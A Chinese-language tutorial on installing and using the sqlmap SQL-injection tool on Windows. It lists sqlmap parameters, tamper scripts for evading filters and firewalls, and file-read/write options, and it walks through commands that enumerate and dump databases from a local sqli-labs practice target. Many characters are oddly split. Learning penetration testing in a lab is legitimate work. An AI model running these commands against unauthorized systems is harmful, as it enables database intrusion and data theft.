Windows下SQLMAP的下載安裝和使用過程
免責聲明
本文所提供的文字和信息僅供學習和研究使用,請讀者自覺遵守法律法規(guī),不得利用本文所提供的信息從事任何違法活動。本文不對讀者的任何違法行為承擔任何責任。工具來自網(wǎng)絡,安全性自測,如有侵權請聯(lián)系刪除。
注意:SQLMAP 這樣的工具在合法的安全測試和研究環(huán)境之外的使用可能是非法的和不道德的。在實際應用中,應該在授權和合法的情況下使用它來幫助發(fā)現(xiàn)和修復系統(tǒng)中的安全漏洞,以提高系統(tǒng)的安全性。
1. SQLMAP下載安裝
1.1. 介紹
SQLMAP是一種開源滲透測試工具,可自動執(zhí)行SQL注入缺陷的檢測和注入過程,并接管數(shù)據(jù)庫服務器。它有強大的檢測引擎,針對不同類型的數(shù)據(jù)庫提供多樣的滲透測試功能選項,實現(xiàn)數(shù)據(jù)庫識別、數(shù)據(jù)獲取、訪問DBMS\操作系統(tǒng)甚至通過帶外數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)的命令,以及從數(shù)據(jù)庫指紋識別、從數(shù)據(jù)庫獲取數(shù)據(jù)、 通過帶外連接在操作系統(tǒng)上執(zhí)行命令。
1.2. 支持的數(shù)據(jù)庫
SQLMAP 支持檢測 MySQL 、 Oracle 、 PostgreSQL 、 MSSQL( Microsoft SQL Sever ) 、 Access ( Microsoft Access )、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等
1.3. 支持的注入方式
分別是:布爾盲注、時間盲注、報錯注入、聯(lián)合查詢、堆疊注入
1.4. 下載安裝
SQLMap的安裝依賴于Python環(huán)境,所以需要事先安裝好Python,若沒有安裝請看在Windows下載、安裝Python和配置環(huán)境(新手、保姆級教程)-CSDN博客
SQLMAP的官方網(wǎng)站:https://sqlmap.org/
Windos系統(tǒng)下載 zip格式,Linux系統(tǒng)下載 .tar.gz格式。
提前在D盤新建一個文件夾,重命名最好為英文,下載解壓縮之后進入sqlmap的文件夾,在此文件夾中打開控制臺( 可以在上方地址欄輸入cmd回車快速打開 )
輸入命令python sqlmap.py
或python sqlmap.py -h
檢驗是否成功,出現(xiàn)如圖所示界面就代表成功了。
注意:如果報錯就檢查一下環(huán)境變量是否配置成功;如果是沒反應到python文件夾查看 python.exe 的名字,如果名字是 python2.exe或python3.exe,則命令就是python3 sqlmap.py
2. SQMAP的命令參數(shù)
2.1. sqlmap基本參數(shù)
這些是sqlmap的基本參數(shù)
-d 指定直接數(shù)據(jù)庫連接得連接字符串,直接連接到數(shù)據(jù)庫。 -u 指定URL目標 -I 從Burp或WebScarab代理得日志中解析目標 -m 掃描文本文件中給出得多個目標,批量掃描 -r 從文本中加載HTTP請求。 用 * 標記注入位置 -g 將Google Dork得結果作為目標URLh
這些參數(shù)可用于調整具體的 SQL 注入測試
-a 獲取所有信息 -current-user 獲取DBMS當前用戶 --current-db 獲取DBMS當前數(shù)據(jù)庫 --hostname 獲取DBMS當前主機名 --is-dba 檢測當前用戶是否為管理員用戶 --users 查詢DBMS用戶 --passwords 查詢DBMS用戶密碼hash --dbs 查詢DBMS數(shù)據(jù)庫 --tables 查詢DBMS數(shù)據(jù)庫中得表 --columns 查詢DBMS數(shù)據(jù)庫表得列名 --dump 查詢轉儲DBMS數(shù)據(jù)庫表 --dump-all 轉儲DBMS所有數(shù)據(jù)庫表 -D db_name 指定要求枚舉的DBMS數(shù)據(jù)庫名 -T table_name 指定要枚舉得DBMS表 -C column_name 指定要枚舉得DBMS列 --batch 從不詢問用戶輸入,使用所有默認配置
2.2. sqlmap進階參數(shù)
--data=DATA 通過POST方式發(fā)送數(shù)據(jù)字符串 --cookie=COOKIE HTTP Cookie頭 LMXCMS演示 --user-agent=AGENT 指定HTTP User-Agent頭 --random-agent 使用隨機選定得HTTP User-Agent頭 --host=HOST 指定HTTP HOST header --referer=REFERER 指定HTTP Referer header --ignore-proxy 忽略系統(tǒng)默認代理配置 --proxy=PROXY 使用代理連接目標URL --proxy=" http://127.0.0.1:8080" --delay=DELAY 可以設定兩個請求間得延遲 --timeout=TIMEOUT 可以設定一個請求超過多久判定為超時 --force-ssl 強制使用SSL/HTTPS --threads=THREADS HTTP(s)最大并發(fā)請求數(shù)(默認是1) --dbms=DBMS 強制指定后端DBMS --os=OS 強制指定后端得DBMS操作系統(tǒng) --tamper 使用給定得腳本修改注入數(shù)據(jù)
這些參數(shù)可用于自定義階段檢測探測選擇
--level=LEVEL 測試等級(1-5, default 1) --risk=RISK 測試的風險等級(1-3, default 1) --technique 來指定要使用哪種注入模式,快速掃描
2.4 訪問文件系統(tǒng)
--file-read=文件路徑 從后端的數(shù)據(jù)庫管理系、統(tǒng)文件系統(tǒng)讀取文件 --file-write=文件路徑 編輯后端的數(shù)據(jù)庫管理系統(tǒng)、文件系統(tǒng)上的本地文件 --file-dest=文件路徑 后端的數(shù)據(jù)庫管理系統(tǒng)、寫入文件的絕對路徑
使用條件
- 知道網(wǎng)站的絕對路徑
- 高權限數(shù)據(jù)庫用戶
- secure_file_priv=''無限制
2.5 tamper繞過
--tamper=base64encode.py --tamper=test.py space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引號 equaltolike.py like代替等號 space2dash.py 繞過過濾‘=' 替換空格字符(”),('–‘)后跟一個破折號注釋,一個隨機字符串和一個新行('n') greatest.py 繞過過濾'>' ,用GREATEST替換大于號。 space2hash.py 空格替換為#號,隨機字符串以及換行符 apostrophenullencode.py 繞過過濾雙引號,替換字符和雙引號。 halfversionedmorekeywords.py 當數(shù)據(jù)庫為mysql時繞過防火墻,每個關鍵字之前添加mysql版本評論 space2morehash.py 空格替換為 #號 以及更多隨機字符串 換行符 appendnullbyte.py 在有效負荷結束位置加載零字節(jié)字符編碼 ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似'IFNULL(A,B)'為'IF(ISNULL(A), B, A)' space2mssqlblank.py (mssql)空格替換為其它空符號 base64encode.py 用base64編碼替換 space2mssqlhash.py 替換空格 modsecurityversioned.py 過濾空格,包含完整的查詢版本注釋 space2mysqlblank.py 空格替換其它空白符號(mysql) between.py 用between替換大于號(>) space2mysqldash.py 替換空格字符(”)(' – ‘)后跟一個破折號注釋一個新行(' n') multiplespaces.py 圍繞SQL關鍵字添加多個空格 space2plus.py 用+替換空格 bluecoat.py 代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為like nonrecursivereplacement.py 雙重查詢語句,取代SQL關鍵字 space2randomblank.py 代替空格字符(“”)從一個隨機的空白字符可選字符的有效集 sp_password.py 追加sp_password'從DBMS日志的自動模糊處理的有效載荷的末尾 chardoubleencode.py 雙url編碼(不處理以編碼的) unionalltounion.py 替換UNION ALLSELECT UNION SELECT charencode.py url編碼 randomcase.py 隨機大小寫 unmagicquotes.py 寬字符繞過 GPCaddslashes randomcomments.py 用/**/分割sql關鍵字 charunicodeencode.py 字符串 unicode 編碼 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注釋繞過 space2comment.py 替換空格字符串(‘‘) 使用注釋‘/**/' halfversionedmorekeywords.py 關鍵字前加注釋
3. SQLMAP的基本使用
我們以本地搭建的sql-labs靶場網(wǎng)址作為注入點測試
目標注入點是:
http://127.0.0.1/sqli-labs-master/Less-1/
3.1. 判斷是否存在注入
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"
出現(xiàn)這個就表示存在漏洞,分別存在布爾注入、報錯注入、時間注入、union聯(lián)合注入
3.2. 判斷當前用戶是否為dba
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba
3.3. 查看數(shù)據(jù)庫用戶
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user
3.4. 查看所有數(shù)據(jù)庫
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
3.5. 查看當前數(shù)據(jù)庫名稱
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db
3.6. 查詢當前數(shù)據(jù)庫的表
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫名 --tables
3.7. 查詢表中的字段名
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫名 -T 表名 --columns
3.8. 查詢字段下的數(shù)據(jù)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫名 -T 表名 --dump
本人發(fā)布、轉載的文章中所涉及的命令、技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用于非法用途及盈利等目的,否則后果自行承擔?。。。?!
到此這篇關于SQLMAP的下載安裝和使用(Windows)的文章就介紹到這了,更多相關SQLMAP下載安裝使用內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
301重定向代碼合集(iis,asp,php,asp.net,apache)
腳本之家將SEO工作中所需要的301轉向代碼進行了整理,收藏并分享,以備查閱。2011-02-02